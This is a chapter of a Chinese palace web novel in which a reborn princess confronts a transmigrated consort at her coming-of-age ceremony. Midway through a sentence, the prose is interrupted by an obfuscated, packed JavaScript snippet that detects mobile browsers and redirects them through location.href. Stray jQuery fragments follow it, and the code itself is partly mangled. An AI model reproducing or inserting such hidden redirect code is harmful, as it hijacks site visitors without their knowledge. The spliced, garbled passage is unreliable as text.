3. 及笄礼

    凤鸾宫中,皇后一见纪韶华,便是微微一愣。


    小郡主妆容早已被泪水晕染,眼睛微微红肿,平添几分憔悴之色。皇后心疼不已,忙差人取来冰敷,亲自吩咐宫女为她重新补妆。


    安王因主殿有要事相商,虽不放心地再三叮嘱,最终还是匆匆离去。


    “真是关心则乱了。”皇后打趣轻笑。


    纪韶华依依不舍地目送安王远去,这才将注意力转眼前雍容华贵的皇后。


    她虽年岁已长,可仍保养得宜,举手投足间,既有威仪贵气,又透着母仪天下的端庄大方。


    她的生母乃皇后的亲妹妹,二人皆出自尚书令沐家。母亲离世后,安王府无女主人照拂,皇后这个亲姑姑便似母亲般,是除安王府众人外,最为疼爱她之人。


    可前世,眼前这待她如珠如宝的姑母,为替她求情,触怒楚文帝。虽顾念沐家势力,未取皇后性命,却将其幽禁冷宫,任其自生自灭。


    那时纪韶华因中毒卧病,偶然从陆崖口中得知,皇后在冷宫中得了疯病……


    无法想象,眼前温柔端庄的皇后,有朝一日被囚困于冰冷萧瑟的冷宫,最终落得疯癫凄惨的下场。


    念及此,纪韶华嘴中发苦,心中酸涩难忍。


    皇后不知她心中起伏,只是含笑立于一旁,温柔注视着宫女替她细描补妆。待一切妥当,才亲手执笔,蘸取金粉,为她在额间勾画上一朵莲花。


    “莲者,步步生莲,乃吉兆。”皇后轻放画笔,端详片刻,露出满意的笑容。


    她轻拍纪韶华的手背,柔声嘱咐:“可不许再哭了,今日该要多笑一笑才是。”


    纪韶华鼻尖微酸,点了点头,唇角带出一抹笑意。


    此时,一名宫女匆匆上前,“皇后娘娘,于嫔那边已准备妥当。”


    纪韶华怔愣片刻,眼底寒芒杀意一闪而逝。


    皇后却并未察觉,闻言含笑道:“小韶华,随我一同过去吧。“


    御花园内,参宴的贵女和女眷三三两两聚在一处,言笑晏晏,赏花闲聊,气氛倒是热闹。见皇后娘娘与小郡主来到,纷纷起身行礼请安。


    众人暗自调整位置,试图更贴近二人,以便自己的恭维之言能被清楚听见。


    “小郡主今日当真光彩照人。”


    “这额间花钿样式甚美,衬得郡主更添风华。”


    “不愧是小郡主,气质与我等自是不同。”


    ……


    环绕在耳畔的赞美声络绎不绝,纪韶华面上虽维持着得体笑意,心底却是一片冰冷。一路上,贵女们依旧欲找话攀谈,她也只淡淡敷衍,冷漠非常。


    这些人前世嘴脸,她何尝不熟悉?


    如今她是小郡主,众人趋之若鹜。可前世安王病重,正是眼前这群昔日对安王府极尽奉承之人,避之不及,甚至落井下石,当面嘲讽。


    她虽有郡主脾气,却从未刻意为难旁人。可那时,她不过是落难,无权无势,便是人人可欺。


    纪韶华忍住心头愤懑,尽力维持表面的平静。可当踏入偏院,目光落在前方缓步而来的身影时,神情还是有一瞬的失控。


    她迅速低下头,掩去眼中骤然翻涌的情绪。


    于莹莹,好久不见……


    “皇后娘娘。”于莹莹走近,脸上挂着温柔和煦的笑意,恭谨行礼。


    随即,她转身向纪韶华,语调温柔笑盈盈地问好:“好久不见,小郡主。”


    于莹莹并非那种夺目惊艳的美人,却胜在笑容如春日暖阳,温柔明媚。五官虽不张扬,却带着江南女子独有的诗情画意,眉眼间透着一股清雅与灵动。而左眼下方一粒鲜红的小痣,又为她平添几分妩媚动人。


    她能一步步坐上妃位,靠的不仅是容貌,更是处事的周全妥帖。宫中上下,无一不对她赞赏有加。


    皇后亦对她颇为欣赏,微微颔首:“莹嫔素来细心,本宫自是放心。”


    说罢,便示意众人随她落座。


    殿中丝竹低奏,琉璃熏炉中青烟袅袅,侍女们步履轻盈,有条不紊地煮水斟茶。纪韶华安静地坐在皇后身侧,垂目看着炉上水沸,侍女烹茶,不愿参与品茗间的闲谈,也不愿他人分心思于她身上。


    然总事与愿违。


    一侧的于莹莹轻提广袖,起身缓步上前,将亲手煮制的花茶奉至皇后案前。


    茶汤清亮,茶香四溢,仿若雨后清风,拂过堂中,引得众人侧目好奇,小声议论。


    “好香啊……“


    “好似不止单茶香,还有花露。”


    众人议论间,于莹莹微微一笑,柔声介绍,声音不大,却恰能落入众人耳中。


    “臣妾用茉莉、玫瑰,配以上好的毛尖,煮制时再添一缕蜜糖,名曰茉莉蜜茶。此茶清润和神,有养颜之效。”


    皇后抿唇轻啜,入口甘甜间花香弥漫,颇为满意地点头,微笑道:“莹嫔总有些巧思,这花茶着实不错。”


    “谢娘娘谬赞,”于莹莹羞赧一笑,又似不经意地叹息道:“不过是妾身故乡特产罢了。”


    “哦?”皇后有些意外,又轻抿一口花茶,微笑道:“倒是不曾听闻金城有此风物,也是拖莹嫔的福了。”


    “此茶得娘娘喜欢,才是妾身福气。”于莹莹盈盈一笑,语气谦卑而妥帖。


    说罢,她端起茶盏,走到小郡主身旁,贴心为她斟上一杯茶,嗓音温柔似水:“小郡主也尝尝吧。”


    香气萦绕,柔声入耳,暖意盈盈。


    然而,那张灿若烟霞、毫无破绽的笑脸落入纪韶华眼中,却似毒蛇吐信般阴冷森寒。


    一丝冷意自心底蔓延,心头蓦然涌起难以名状的恶寒。


    前世,她亦见过这样温柔的笑,亦曾信过这副娴雅无害的面容。


    家人血溅刑场那日,陆崖护她逃至京郊。前有拦截,后有追兵,困境之下,前方三皇子的亲卫缓缓退开,缓步走出一袭华裳的悠然身影。


    于莹莹依旧挂着那招牌的温婉笑颜,看似温柔和善,说出的话却如毒蛇覆骨:“小郡主喜欢我为你安排的情节吗?”


    局势在静默中凝滞,杀意悄然逼近。


    她并不急着动手,只是缓缓道来——她如何在三皇子身后筹谋多年,如何将所有人一一引入绝境……


    若非她亲口道出真相,纪韶华或许到死都猜不到,原来三皇子背后,还有一个她。


    这是一个本该只存在话本中的神鬼故事。


    于莹莹,并非于莹莹。


    她是一缕异世孤魂,夺舍了原本躯体。又或者,用于莹莹自己的话来说,叫穿越。


    “我知道故事的发展,所以我能掌控你们的命运,也能为你们书写命运。”


    “天命所归者,唯有三皇子。他注定登基,而你们,皆是为主角铺路的命数。”


    “既然结局注定,不如我来成全,让你们早点死。”


    “而你,纪韶华。”她眸光森冷,唇角微弯,“你就该活着,看着你的至亲至爱,在你面前一个个死去。”


    ……


    往昔噩梦与眼前笑颜重叠,如利刃剖开她血淋淋的回忆。


    一瞬间,胸口仿佛压上千斤巨石,窒闷难当。


    纪韶华突兀起身,袖间轻扬,指尖微动间,茶盏随之倾覆,滚烫的茶水泼洒而出,正中于莹莹手背!


    “啊!”于莹莹惊呼,手中茶壶一颤,瓷器落地,摔个粉碎。


    殿中登时一片混乱。


    皇后微怔,又忙唤侍女收拾残局。贵女们或上前关切,或交头私语,气氛顿时浮动不安。


    纪韶华敛眸,掩去翻涌的情绪,扯出一抹并不如何悦色的笑,语气漫不经心:“一时没坐稳,竟失了手。于嫔,可有烫伤?”


    于莹莹低头看了眼被烫红的肌肤,旋即笑意依旧:“无碍,小郡主定然不是有意的。”


    “于嫔果然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313314|167310||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    宽厚。”纪韶华意有所指,唇角微勾。


    然这一番拙劣的情绪发泄,却并未平息她心中翻涌的情绪。


    与于莹莹共处一室,便仿佛被毒蛇窥伺,哪怕再冷静,终究是会露出破绽。索性向皇后撒娇寻了个借口,便翩然退场。


    走出偏殿,冷风扑面,纪韶华这才觉出自己呼吸顺畅了几分。


    前世中毒卧床时,她也曾无数次思索过。


    或许,与自己重生一般,于莹莹也是经历过旧事的一缕孤魂?又或许,她并非夺舍,而是精通巫蛊邪术,能窥破天机?


    无论何种可能,于莹莹的存在,都是她重生归来后最大的变数。


    现如今,她不过区区嫔位,伏低做小,可不久便会晋封妃位,联合三皇子将安王府拉入深渊。


    不论他们之间是否结盟,情势都相当危急。


    直至及笄礼开始,纪韶华仍为此忧思不已。楚文帝说的场面话,未曾听入耳中,亦无心在意赏赐珍宝。唯有皇后执起一支华贵发簪,轻轻插于她发间,赞冠之时,她才微微回神,拜首谢恩后,方作礼成。


    宫中盛宴,惯例少不了才艺表演,那是有心人争宠的舞台。于莹莹果然如前世一般,早早备下一支舞。轻盈曼妙的舞姿流转间,仿佛群蝶纷飞,绕身萦绕。楚文帝眼中闪过一抹惊艳,殿中众人也纷纷低声惊叹。


    纪韶华兴致索然,撇过头掩去厌恶,不去看大殿中央的于莹莹。


    余光却无意瞥见上位不远处的陆崖。


    与被于嫔吸引目光的众人不同,他正一手支颐,漫不经心地看着她,眼神却带着几分探究。


    纪韶华不自然的移开目光,耳根莫名微热,心下忍不住腹诽:


    大庭广众,轻浮!


    却未察觉,方才因于莹莹而萦绕心头的阴霾,竟因这一插曲,悄然散去几分。


    宴席尾声,年岁已长的楚文帝面露疲态,先行离席。皇上一走,席间拘谨顿减,氛围也随之轻松不少。期间有人借机离去,更多的人仍留席间,举杯换盏觥筹交错间,攀谈结交。


    纪韶华低垂眼睫,静坐席间,觉得与眼前场景甚是割裂。她看似宴席主角,却不过一个被借用的名头。


    不愿与人虚与委蛇,便悄然起身离席,无人阻拦,也无人注意。


    不远处的陆崖,正随意应付着周围的人的奉承,深觉无趣,心思和眼神却一直似无在纪韶华身侧逡巡。


    见她离席,他眉头微挑,眼中探究之意更浓,却未显露分毫,只淡淡收回目光。


    周围人仍在絮絮叨叨,将他夸赞的天上有地上无,仿佛他乃朝之栋梁,不世奇才。


    陆崖冷笑,他名声虽差,但人只要权势滔天,哪怕背地里这群人对他嗤之以鼻,当面却不得不趋炎附势,曲意奉承。


    无事时,倒无妨将这些虚情假意当个乐子,听听便罢。不过现在,他却没那个耐心……


    唇角折起一抹不带笑意的弧度,陆崖冷漠而阴鸷的目光扫过众人,仿佛带着刺骨寒芒,周围人瞬间噤若寒蝉。


    陆崖起身,随意摆了摆手,看起来就像在驱赶一群讨人厌的蚊蝇。


    “很吵,本相头痛,不听了。”


    语气轻描淡写,却是毫不掩饰的嫌弃。众人面面相觑,面上是挂不住的发青,却无人敢开口反驳,只得神情尴尬地退至一旁,为他让出一条路。


    陆崖信步而出,才走出大殿几步,便望见廊下那道清瘦的身影。


    柔和的月光浅浅洒落她肩上,银辉流转间,却不似往昔周身的温暖气质,而是凉的像初春的雪,有着不合时宜的矛盾。


    他不自觉地皱眉,抬步向她走去。


    一旁的小翠最先察觉陆崖的靠近,待看清来人,惊得倒吸一口凉气,慌忙行礼:“陆相。”


    行礼之余,又忍不住偷偷抬眼,余光瞟向小郡主,心中暗暗嘀咕:


    这两人,怎么又撞到一起去了?